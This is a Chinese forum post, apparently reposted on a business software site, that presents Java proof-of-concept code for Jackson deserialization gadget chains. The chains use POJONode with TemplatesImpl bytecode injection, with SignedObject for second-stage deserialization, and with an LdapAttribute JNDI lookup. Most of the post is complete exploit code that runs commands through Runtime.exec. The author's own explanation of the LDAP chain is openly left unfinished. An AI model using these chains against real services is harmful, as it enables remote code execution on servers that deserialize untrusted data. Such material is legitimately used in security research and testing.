ToB企服应用市场:ToB评测及商务社交产业平台

标题: JackSon反序列化通杀 [打印本页]

作者: 温锦文欧普厨电及净水器总代理    时间: 2024-5-17 04:21
标题: JackSon反序列化通杀
前言

Springboot一般都会自带JackSon这个依靠包,JackSon跟Fastjson有相同的功效
简单复现
  1. package com.example.jakeson.demo;
  2. import java.io.IOException;
  3. import java.io.Serializable;
  4. public class User implements Serializable {
  5.     public User() {
  6.     }
  7.     public Object getName() throws IOException {
  8.         Runtime.getRuntime().exec("calc");
  9.         return "1";
  10.     }
  11.     public Object setName(String name) {
  12.         System.out.println("setname");
  13.         return "2";
  14.     }
  15. }
复制代码
  1. package com.example.jakeson.demo;
  2. import com.fasterxml.jackson.databind.node.POJONode;
  3. public class JakesonDemo {
  4.     public static void main(String[] args) {
  5.         User user = new User();
  6.         POJONode jsonNodes = new POJONode(user);
  7.         jsonNodes.toString();
  8.     }
  9. }
复制代码
运行即可弹计算器
Jackson反序列化利用链

注意点

PoJoNode类是继续ValueNode,ValueNode是继续BaseJsonNode类,我们看看BaseJsonNode类

它拥有writeReplace方法,有这个方法就意味着反序列化时不会走正常渠道,而是走这个writeReplace方法,这是反序列化的规则,办理办法就是重写BaseJsonNode类

把这个writeReplace解释掉即可
TemplatesImpl链
  1. package com.example.jakeson.demo;
  2. import com.fasterxml.jackson.databind.node.POJONode;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  5. import javassist.*;
  6. import org.springframework.http.HttpEntity;
  7. import org.springframework.http.HttpHeaders;
  8. import org.springframework.http.ResponseEntity;
  9. import org.springframework.web.client.RestTemplate;
  10. import javax.management.BadAttributeValueExpException;
  11. import javax.xml.transform.Templates;
  12. import java.io.*;
  13. import java.lang.reflect.Field;
  14. import java.net.URI;
  15. import java.util.Base64;
  16. public class TemplatesImplDemo {
  17.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  18.         Field f = obj.getClass().getDeclaredField(fieldName);
  19.         f.setAccessible(true);
  20.         f.set(obj, value);
  21.     }
  22.     public static void main(String[] args) throws Exception {
  23.         ClassPool pool = ClassPool.getDefault();
  24.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  25.         CtClass ct = pool.makeClass("Cat");
  26.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  27.         ct.makeClassInitializer().insertBefore(cmd);
  28.         String randomClassName = "EvilCat" + System.nanoTime();
  29.         ct.setName(randomClassName);
  30.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  31.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  32.         Templates templatesImpl = new TemplatesImpl();
  33.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  34.         setFieldValue(templatesImpl, "_name", "a");
  35.         setFieldValue(templatesImpl, "_tfactory", null);
  36.         POJONode pojoNode = new POJONode(templatesImpl);
  37.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
  38.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  39.         val.setAccessible(true);
  40.         val.set(exp,pojoNode);
  41.         System.out.println(serial(exp));
  42.         deserial(serial(exp));
  43.     }
  44.     public static String serial(Object o) throws IOException, NoSuchFieldException {
  45.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  46.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  47.         oos.writeObject(o);
  48.         oos.close();
  49.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  50.         return base64String;
  51.     }
  52.     public static void deserial(String data) throws Exception {
  53.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
  54.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
  55.         ObjectInputStream ois = new ObjectInputStream(bais);
  56.         ois.readObject();
  57.         ois.close();
  58.     }
  59. }
复制代码
TemplatesImpl的流程就不跟了,简单的跟一下Jackson的流程,BadAVEE里面触发toString

进入到重写的BaseJsonNode类的toString方法

中间流程断了,。。。。,跟到最后,在StdSerializer类中wrapAndThrow方法调用到了getter

SignObject链

二次反序列化,无需多讲
  1. package com.example.jakeson.demo;
  2. import com.fasterxml.jackson.databind.node.POJONode;
  3. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  4. import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
  5. import javassist.ClassClassPath;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import javax.management.BadAttributeValueExpException;
  9. import javax.xml.transform.Templates;
  10. import java.io.*;
  11. import java.lang.reflect.Field;
  12. import java.security.*;
  13. import java.util.Base64;
  14. public class SignObjectDemo {
  15.     public static void setFieldValue(Object obj, String fieldName, Object value) throws NoSuchFieldException, IllegalAccessException {
  16.         Field f = obj.getClass().getDeclaredField(fieldName);
  17.         f.setAccessible(true);
  18.         f.set(obj, value);
  19.     }
  20.     public static void main(String[] args) throws Exception {
  21.         ClassPool pool = ClassPool.getDefault();
  22.         pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
  23.         CtClass ct = pool.makeClass("Cat");
  24.         String cmd = "java.lang.Runtime.getRuntime().exec("calc");";
  25.         ct.makeClassInitializer().insertBefore(cmd);
  26.         String randomClassName = "EvilCat" + System.nanoTime();
  27.         ct.setName(randomClassName);
  28.         ct.setSuperclass(pool.get(AbstractTranslet.class.getName()));
  29.         byte[][] bytes = new byte[][]{ct.toBytecode()};
  30.         Templates templatesImpl = new TemplatesImpl();
  31.         setFieldValue(templatesImpl, "_bytecodes", bytes);
  32.         setFieldValue(templatesImpl, "_name", "a");
  33.         setFieldValue(templatesImpl, "_tfactory", null);
  34.         POJONode pojoNode = new POJONode(templatesImpl);
  35.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
  36.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  37.         val.setAccessible(true);
  38.         val.set(exp,pojoNode);
  39.         KeyPairGenerator keyPairGenerator;
  40.         keyPairGenerator = KeyPairGenerator.getInstance("DSA");
  41.         keyPairGenerator.initialize(1024);
  42.         KeyPair keyPair = keyPairGenerator.genKeyPair();
  43.         PrivateKey privateKey = keyPair.getPrivate();
  44.         Signature signingEngine = Signature.getInstance("DSA");
  45.         SignedObject signedObject = new SignedObject(exp,privateKey,signingEngine);
  46.         POJONode pojoNode2 = new POJONode(signedObject);
  47.         BadAttributeValueExpException exp2 = new BadAttributeValueExpException(null);
  48.         Field val2 = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  49.         val2.setAccessible(true);
  50.         val2.set(exp2,pojoNode2);
  51.         System.out.println(serial(exp2));
  52.         deserial(serial(exp2));
  53.     }
  54.     public static String serial(Object o) throws IOException, NoSuchFieldException {
  55.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  56.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  57.         oos.writeObject(o);
  58.         oos.close();
  59.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  60.         return base64String;
  61.     }
  62.     public static void deserial(String data) throws Exception {
  63.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
  64.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
  65.         ObjectInputStream ois = new ObjectInputStream(bais);
  66.         ois.readObject();
  67.         ois.close();
  68.     }
  69. }
复制代码
LdapAttribute链
  1. package com.example.jakeson.demo;
  2. import com.fasterxml.jackson.databind.node.POJONode;
  3. import javax.management.BadAttributeValueExpException;
  4. import javax.naming.CompositeName;
  5. import java.io.*;
  6. import java.lang.reflect.Constructor;
  7. import java.lang.reflect.Field;
  8. import java.util.Base64;
  9. public class LdapAttributeDemo {
  10.     public static void main( String[] args ) throws Exception {
  11.         String ldapCtxUrl = "ldap://127.0.0.1:1099/";
  12.         Class ldapAttributeClazz = Class.forName("com.sun.jndi.ldap.LdapAttribute");
  13.         Constructor ldapAttributeClazzConstructor = ldapAttributeClazz.getDeclaredConstructor(
  14.                 new Class[] {String.class});
  15.         ldapAttributeClazzConstructor.setAccessible(true);
  16.         Object ldapAttribute = ldapAttributeClazzConstructor.newInstance(
  17.                 new Object[] {"name"});
  18.         Field baseCtxUrlField = ldapAttributeClazz.getDeclaredField("baseCtxURL");
  19.         baseCtxUrlField.setAccessible(true);
  20.         baseCtxUrlField.set(ldapAttribute, ldapCtxUrl);
  21.         Field rdnField = ldapAttributeClazz.getDeclaredField("rdn");
  22.         rdnField.setAccessible(true);
  23.         rdnField.set(ldapAttribute, new CompositeName("a//b"));
  24.         POJONode jsonNodes = new POJONode(ldapAttribute);
  25.         BadAttributeValueExpException exp = new BadAttributeValueExpException(null);
  26.         Field val = Class.forName("javax.management.BadAttributeValueExpException").getDeclaredField("val");
  27.         val.setAccessible(true);
  28.         val.set(exp,jsonNodes);
  29.         deserial(serial(exp));
  30.     }
  31.     public static String serial(Object o) throws IOException, NoSuchFieldException, IOException {
  32.         ByteArrayOutputStream baos = new ByteArrayOutputStream();
  33.         ObjectOutputStream oos = new ObjectOutputStream(baos);
  34.         oos.writeObject(o);
  35.         oos.close();
  36.         String base64String = Base64.getEncoder().encodeToString(baos.toByteArray());
  37.         return base64String;
  38.     }
  39.     public static void deserial(String data) throws Exception {
  40.         byte[] base64decodedBytes = Base64.getDecoder().decode(data);
  41.         ByteArrayInputStream bais = new ByteArrayInputStream(base64decodedBytes);
  42.         ObjectInputStream ois = new ObjectInputStream(bais);
  43.         ois.readObject();
  44.         ois.close();
  45.     }
  46.     private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
  47.         Field f = obj.getClass().getDeclaredField(field);
  48.         f.setAccessible(true);
  49.         f.set(obj, arg);
  50.     }
  51. }
复制代码
LdapAttribute类中有getter方法调用了lookup

两处入口,上面poc进入的是getAttributeDefinition方法,payload有些讲究,我们之前的payload都是ldap://xxxxx/xxx,这里payload必须是ldap://xxxx/不需要后缀了,详细原因是,艹了,没有java文件调试不了,不想去下了,大伙去看别的师傅的思绪吧

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4